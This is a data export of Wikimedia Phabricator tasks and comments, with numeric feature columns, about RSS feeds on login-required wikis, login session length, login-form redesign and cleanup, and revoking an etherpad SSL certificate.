549984,RSS RecentChanges does not work on login-required wiki,"It seems like TinyRSS should use OAuth to consume the feed as the user in this case. I have no idea if they have a dev community that can implement that. I don't like the idea of expanding our watchlist tokens to be more generic. But obviously if there is strong demand for that, then I can look into the security of it more.",,,1445457557,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,1.0,6.0,0.0,7.0,16.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,14.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,10.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,10.0,16.0,1.0,0.0,0.0,0.0,10.0,0.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,3.742857142857143,0.7428571428571429,"It seems like TinyRSS should use OAuth to consume the feed as the user in this case. I have no idea if they have a dev community that can implement that. I don't like the idea of expanding our watchlist tokens to be more generic. But obviously if there is strong demand for that, then I can look into the security of it more."
549836,RSS RecentChanges does not work on login-required wiki,"If RSS feeds from mediawiki are to be accessible from a feed reader that is web based then cookies won't do the trick but a token would. To me, being accessible from multiple devices is one of the main benefits of a feed aggregator, so this would be a good feature. 

I eventually used the work-around in https://phabricator.wikimedia.org/T76528. In our case the wiki is pretty low-key so I am not too concerned opening it up like that, especially since you still need to log on to read articles. A token would likely be better. Or at least a setting that allows me to change this preference in localsettings. ",,,1445445551,,PHID-USER-nho6nruikfxukgoipwm2,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.5,1.5,7.0,3.5,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,3.5,1.0,6.5,14.0,0.0,3.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,5.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.5,0.0,13.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.5,0.0,6.0,5.5,6.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,5.0,14.0,1.0,0.0,0.0,0.0,5.0,0.0,1.5,3.5,1.5,1.0,1.0,1.0,0.0,3.80327868852459,0.819672131147541,"If RSS feeds from mediawiki are to be accessible from a feed reader that is web based then cookies won't do the trick but a token would. To me, being accessible from multiple devices is one of the main benefits of a feed aggregator, so this would be a good feature. 

I eventually used the work-around in URL In our case the wiki is pretty low-key so I am not too concerned opening it up like that, especially since you still need to log on to read articles. A token would likely be better. Or at least a setting that allows me to change this preference in localsettings. "
549653,RSS RecentChanges does not work on login-required wiki,"@csteipp what do you think? Shall we provide an additional 'feed' token for API [[https://www.mediawiki.org/w/api.php?action=help&modules=feedrecentchanges|feedrecentchanges]] and [[https://www.mediawiki.org/w/api.php?action=help&modules=feedcontributions|feedcontributions]] modules? I think re-using existing watchlist or patrol tokens is not an option?
",,,1445423485,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,5.0,0.0,7.0,5.0,0.0,7.0,0.0,2.0,5.0,0.0,7.0,0.0,0.0,10.0,3.5714285714285716,0.7857142857142857,"SCREEN_NAME what do you think? Shall we provide an additional 'feed' token for API [[URL and [[URL modules? I think re-using existing watchlist or patrol tokens is not an option?
"
549650,RSS RecentChanges does not work on login-required wiki,"No, MediaWiki does not use basic authentication. You can use cookies if you want.

Did you check if you can still access your personal watchlist feed - from Special:Watchlist

This one uses a special token so you can bypass login.

If I understand correctly what you might need is to have a kind of [[https://www.mediawiki.org/wiki/API:Tokens |token]] that creates a custom recent changes link for you to bypass login.",,,1445423079,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,12.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,11.0,10.0,5.0,0.0,0.0,0.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,3.8536585365853657,0.7439024390243902,"No, MediaWiki does not use basic authentication. You can use cookies if you want.

Did you check if you can still access your personal watchlist feed - from Special:Watchlist

This one uses a special token so you can bypass login.

If I understand correctly what you might need is to have a kind of [[URL |token]] that creates a custom recent changes link for you to bypass login."
426917,RSS RecentChanges does not work on login-required wiki,"TinyRSS forums got back saying that for an authenticated feed listing to work, ""http basic/digest auth"" needs to be supported and that ""digest authentication requires curl"". Does Mediawiki work like that?",,,1426518169,,PHID-USER-nho6nruikfxukgoipwm2,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,4.35,0.8,"TinyRSS forums got back saying that for an authenticated feed listing to work, ""http basic/digest auth"" needs to be supported and that ""digest authentication requires curl"". Does Mediawiki work like that?"
425729,RSS RecentChanges does not work on login-required wiki,"I think there are two things going on. For one, the login/authentication between mediawiki and tinyRSS is not working. The api comes back with a message ""You need read permission to use this module"". I would be interested to know how to troubleshoot that... I don't know how to view what is going on there.

The second problem is, though, that the RSS feeder can't interpret that error as a feed and so let me know what is wrong. I don't think what comes back is formatted as a feed. Maybe I am naive, but it seems to me that a request for an RSS feed would best be countered with a ""you can't have it because..."" as an RSS feed. Does that make sense?

I am looking into the TinyRSS side of things.

MediaWiki 	1.24.0
PHP 	5.5.21 (cgi-fcgi)
MySQL 	5.6.22-cll-lve",,,1426204981,,PHID-USER-nho6nruikfxukgoipwm2,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,1.0,2.5,2.5,1.5,0.5,0.5,0.0,1.5,2.0,0.0,0.0,0.5,4.0,0.0,7.0,10.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,8.5,3.0,1.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,10.0,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,1.5,0.0,0.0,1.5,6.5,5.0,10.0,2.5,1.5,8.5,0.0,0.0,0.0,0.0,6.5,0.0,2.5,0.0,6.5,10.5,5.0,0.5,2.0,0.0,6.5,0.0,2.5,3.5,1.0,2.0,0.5,0.0,0.0,3.4450549450549453,0.7197802197802198,"I think there are two things going on. For one, the login/authentication between mediawiki and tinyRSS is not working. The api comes back with a message ""You need read permission to use this module"". I would be interested to know how to troubleshoot that... I don't know how to view what is going on there.

The second problem is, though, that the RSS feeder can't interpret that error as a feed and so let me know what is wrong. I don't think what comes back is formatted as a feed. Maybe I am naive, but it seems to me that a request for an RSS feed would best be countered with a ""you can't have it because..."" as an RSS feed. Does that make sense?

I am looking into the TinyRSS side of things.

MediaWiki 	1.24.0
PHP 	5.5.21 (cgi-fcgi)
MySQL 	5.6.22-cll-lve"
425227,RSS RecentChanges does not work on login-required wiki,"Have you contacted the tinytinyRSS maintainers, also to find out how to get more info about that specific ""extra content""? Or how to debug / make sure whether the login was actually successful?

Also, which MediaWiki version is this about?

So far I don't see any clear MediaWiki software bug reported here, but potentially a configuration issue (either in MediaWiki or tinytinyRSS)...",,,1426170065,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,1,True,,,-16,True,1.0,0.0,0.0,0.0,1.0,8.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,11.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,4.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,11.0,5.0,4.0,3.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,4.2894736842105265,0.8157894736842105,"Have you contacted the tinytinyRSS maintainers, also to find out how to get more info about that specific ""extra content""? Or how to debug / make sure whether the login was actually successful?

Also, which MediaWiki version is this about?

So far I don't see any clear MediaWiki software bug reported here, but potentially a configuration issue (either in MediaWiki or tinytinyRSS)..."
92256,create a way to access all my saved pages online with a login in a desktop browser,request #2 ib https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=8172705,Needs Triage,90.0,1425991276,1426007208.0,PHID-USER-u7udgblfyop6qd5wxot6,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-lqu7q5qjjdteq3apbi2t,task_description,duplicate,True,c3,1,False,False,True,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,request #2 ib URL
92180,Extend login sessions,"Per [Bug 66699](https://bugzilla.wikimedia.org/show_bug.cgi?id=66699)

**User story**: as a registered user, I wanted to have my login session remembered, so that I don't have to repeatedly log in. 

**Specification**: the login sessions for users who choose to be remembered should be set to one year expiry. 


==== TODO ====
 * [] Review [141248](https://gerrit.wikimedia.org/r/#/c/141248/) - Configure logged in session length independently 

 * [] Review [141394](https://gerrit.wikimedia.org/r/#/c/141394/) - CentralAuth 

 * [] mediawiki-config change 



--------------------------
**Trello card**: [[ https://trello.com/c/CuOVnYcZ/522-extend-login-sessions | CuOVnYcZ ]]

 * column: Needs Review/QA

 * labels:  Feature (green)
",Needs Triage,90.0,1425962283,1426044760.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-cu6qxyfp5yefmu7dbkr2,task_description,duplicate,True,c3,1,False,False,True,-17,True,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,1.5,5.5,0.0,1.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,1.0,1.0,11.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.5,5.5,7.0,0.0,0.0,0.0,2.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,7.5,3.4565217391304346,0.6159420289855072,"Per [Bug 66699](URL

**User story**: as a registered user, I wanted to have my login session remembered, so that I don't have to repeatedly log in. 

**Specification**: the login sessions for users who choose to be remembered should be set to one year expiry. 


==== TODO ====
 * [] Review [141248](URL - Configure logged in session length independently 

 * [] Review [141394](URL - CentralAuth 

 * [] mediawiki-config change 



--------------------------
**Trello card**: [[ URL | CuOVnYcZ ]]

 * column: Needs Review/QA

 * labels:  Feature (green)
"
92110,Cleanup and document login and create messages left from vform work,"We unintentionally left some cruft in when removing the old login and create account forms.

Specifically, loginstart, loginend, signupstart, signupend (and possibly others) were removed from use, but not removed entirely.  This also needs to be documented at https://www.mediawiki.org/wiki/Account_creation_user_experience/Strings#Removed_old_messages

See also {T58455}

--------------------------
**Trello card**: [[ https://trello.com/c/fPSXLKrn/218-cleanup-and-document-login-and-create-messages-left-from-vform-work | fPSXLKrn ]]

 * column: Bucket o' Mess

 * labels:  Technical Debt & Refactoring (orange)
",Needs Triage,90.0,1425960423,1687902675.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-jjxtdbmadyepiq2vrkyu,task_description,invalid,True,c3,1,False,False,False,-17,True,1.0,0.0,1.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,4.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,14.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,4.0,9.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,3.9574468085106385,0.7340425531914894,"We unintentionally left some cruft in when removing the old login and create account forms.

Specifically, loginstart, loginend, signupstart, signupend (and possibly others) were removed from use, but not removed entirely.  This also needs to be documented at URL

See also {T58455}

--------------------------
**Trello card**: [[ URL | fPSXLKrn ]]

 * column: Bucket o' Mess

 * labels:  Technical Debt & Refactoring (orange)
"
2149930,Cleanup and document login and create messages left from vform work,"> Specifically, loginstart, loginend, signupstart, signupend (and possibly others) were removed from use, but not removed entirely.

loginstart and loginendwere removed in 2014 in https://gerrit.wikimedia.org/r/c/mediawiki/core/+/151536

signupstart and signupend are still in use today, MediaWiki supports them and they have a few overrides on Wikimedia wikis. Maybe support for them was restored after the initial deployment or something. ",,,1687902675,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jjxtdbmadyepiq2vrkyu,task_subcomment,,True,c3,3,True,,,416,True,2.0,2.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,13.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.8478260869565215,0.8478260869565217,"QUOTE

loginstart and loginendwere removed in 2014 in URL

signupstart and signupend are still in use today, MediaWiki supports them and they have a few overrides on Wikimedia wikis. Maybe support for them was restored after the initial deployment or something. "
92109,Login & Create account form improvements,"Lots of good ideas we didn't include in initial launch
==== Ideas ====
 * [] Eliminate labels, only use placeholder text (depends on improving placeholder support in supported browsers, e.g. https://bugzilla.wikimedia.org/48918) 

 * [] If user fills in username and password on Create account form, attempt to login with them 

 * [] Make primary button less dominating 

 * [] Reintroduce Login button on Create account form? 

 * [] Improve Username help/policy, e.g. display tipsy help when username field has focus. 

 * [] On Login form, position the ""Don't have an account? [Join TheWiki]"" CTA to right if there's space, like Create account's benefits. 

 * [] Client-side validation in Create account 

 * [] Hide skin elements, e.g. the top-right navigation link to the form you're already on. 

 * [] Rename the skin's [Special page] tab to include the name of the form, and eliminate the H1 heading 

 * [] Garbled HTML in Titleblacklist error, https://bugzilla.wikimedia.org/38894 



--------------------------
**Trello card**: [[ https://trello.com/c/5xRitMcR/177-login-create-account-form-improvements | 5xRitMcR ]]

 * column: Bucket o' Mess

 * labels:  Research (blue)
",Needs Triage,90.0,1425960422,1458742487.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ryvuzdqorhbrkg7mg7fy,task_description,declined,True,c3,1,False,False,False,-17,True,0.0,0.0,0.0,0.0,0.6666666666666666,5.333333333333333,0.0,0.0,0.0,0.6666666666666666,2.6666666666666665,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,7.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.333333333333332,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,0.0,12.333333333333334,1.0,0.6666666666666666,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,0.0,1.0,7.0,4.666666666666667,0.6666666666666666,1.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,8.666666666666666,3.5759623861298855,0.6491820942305808,"Lots of good ideas we didn't include in initial launch
==== Ideas ====
 * [] Eliminate labels, only use placeholder text (depends on improving placeholder support in supported browsers, e.g. URL 

 * [] If user fills in username and password on Create account form, attempt to login with them 

 * [] Make primary button less dominating 

 * [] Reintroduce Login button on Create account form? 

 * [] Improve Username help/policy, e.g. display tipsy help when username field has focus. 

 * [] On Login form, position the ""Don't have an account? [Join TheWiki]"" CTA to right if there's space, like Create account's benefits. 

 * [] Client-side validation in Create account 

 * [] Hide skin elements, e.g. the top-right navigation link to the form you're already on. 

 * [] Rename the skin's [Special page] tab to include the name of the form, and eliminate the H1 heading 

 * [] Garbled HTML in Titleblacklist error, URL 



--------------------------
**Trello card**: [[ URL | 5xRitMcR ]]

 * column: Bucket o' Mess

 * labels:  Research (blue)
"
634081,Login & Create account form improvements,"Mass-declining tasks that only have the now defunct #Growth-Team associated but no other projects, as announced in https://phabricator.wikimedia.org/T127072 - Feel free to reopen this task if it is still valid by associating an //active// project and resetting its status.",,,1458742487,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ryvuzdqorhbrkg7mg7fy,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,11.0,2.0,4.0,9.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,4.260869565217392,0.9565217391304348,"Mass-declining tasks that only have the now defunct #Growth-Team associated but no other projects, as announced in URL - Feel free to reopen this task if it is still valid by associating an //active// project and resetting its status."
92108,Non-Vector optimization for Login + Create account redesign,"List of TODOs on non-Vector skins. This is lower priority because the only way to view these is to either force the skin or be already logged in. Of all alternate skins, Monobook is the one that really matters, but we can note any feedback on other skins here too. 
==== Outstanding items ====
 * [] In Monobook, new form inherits grey background 

 * [] In Monobook, the 100%-wide form items hit the edge of the gray background and input focus halo protrudes 

 * [] Should the form border vanish in all skins, or just Vector? 

 * [] Should the margin and padding be 0 in all skins, or just Vector? 

 * [] SimpleCaptcha wraps onto new line, https://gerrit.wikimedia.org/r/71102 



--------------------------
**Trello card**: [[ https://trello.com/c/lmY261Rx/144-non-vector-optimization-for-login-create-account-redesign | lmY261Rx ]]

 * column: Bucket o' Mess

 * labels:  Technical Debt & Refactoring (orange)

 - Attachments
   - [[ https://trello-attachments.s3.amazonaws.com/5032806a85f7309c527929de/514ca928c073528f5d00061a/aab428c6b94b2b1d300c1224e2321b3c/Screen_Shot_2013-03-22_at_11.58.03_AM.png |  Screen Shot 2013-03-22 at 11.58.03 AM.png ]] (cover image)
",Needs Triage,90.0,1425960421,1458742487.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-zqorvi275o4xfv57dmzq,task_description,declined,True,c3,1,False,False,False,-17,True,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,1.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,5.333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,15.666666666666666,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,1.6666666666666667,11.666666666666666,0.3333333333333333,2.6666666666666665,4.333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,2.0,0.0,1.0,5.333333333333333,8.0,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,3.481677099634846,0.6490610328638498,"List of TODOs on non-Vector skins. This is lower priority because the only way to view these is to either force the skin or be already logged in. Of all alternate skins, Monobook is the one that really matters, but we can note any feedback on other skins here too. 
==== Outstanding items ====
 * [] In Monobook, new form inherits grey background 

 * [] In Monobook, the 100%-wide form items hit the edge of the gray background and input focus halo protrudes 

 * [] Should the form border vanish in all skins, or just Vector? 

 * [] Should the margin and padding be 0 in all skins, or just Vector? 

 * [] SimpleCaptcha wraps onto new line, GERRIT_URL 



--------------------------
**Trello card**: [[ URL | lmY261Rx ]]

 * column: Bucket o' Mess

 * labels:  Technical Debt & Refactoring (orange)

 - Attachments
   - [[ URL |  Screen Shot 2013-03-22 at 11.58.03 AM.png ]] (cover image)
"
634082,Non-Vector optimization for Login + Create account redesign,"Mass-declining tasks that only have the now defunct #Growth-Team associated but no other projects, as announced in https://phabricator.wikimedia.org/T127072 - Feel free to reopen this task if it is still valid by associating an //active// project and resetting its status.",,,1458742487,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zqorvi275o4xfv57dmzq,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,11.0,2.0,4.0,9.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,4.260869565217392,0.9565217391304348,"Mass-declining tasks that only have the now defunct #Growth-Team associated but no other projects, as announced in URL - Feel free to reopen this task if it is still valid by associating an //active// project and resetting its status."
92105,"Bug 47883
 - Reinstate loginstart and loginend, and blank on WMF wikis","[Bug 47883](https://bugzilla.wikimedia.org/show_bug.cgi?id=47883)
==== Checklist ====
 * [] Blank loginstart and loginend on WMF wikis 

 * [] Add back to core as blank by default messages 



--------------------------
**Trello card**: [[ https://trello.com/c/9tfRp42H/271-bug-47883-reinstate-loginstart-and-loginend-and-blank-on-wmf-wikis | 9tfRp42H ]]

 * column: Bucket o' Mess

 * labels:  Technical Debt & Refactoring (orange)
",Needs Triage,90.0,1425960419,1425961105.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-w4fpxbuabu6m5ycow7yb,task_description,duplicate,True,c3,1,False,False,True,-17,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.2933333333333334,0.64,"[Bug 47883](URL
==== Checklist ====
 * [] Blank loginstart and loginend on WMF wikis 

 * [] Add back to core as blank by default messages 



--------------------------
**Trello card**: [[ URL | 9tfRp42H ]]

 * column: Bucket o' Mess

 * labels:  Technical Debt & Refactoring (orange)
"
92045,revoke / delete etherpad.wikimedia.org SSL cert,"this is a ticket to revoke the SSL cert:

etherpad.wikimedia.org

- revoke with the CA / vendor
- ~~delete cert from public repo~~ https://gerrit.wikimedia.org/r/#/c/195303/
- ~~delete the matching .key from private repo~~ done by dzahn
- ~~rm/shred cert and key on servers it is installed on~~ done by dzahn

(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

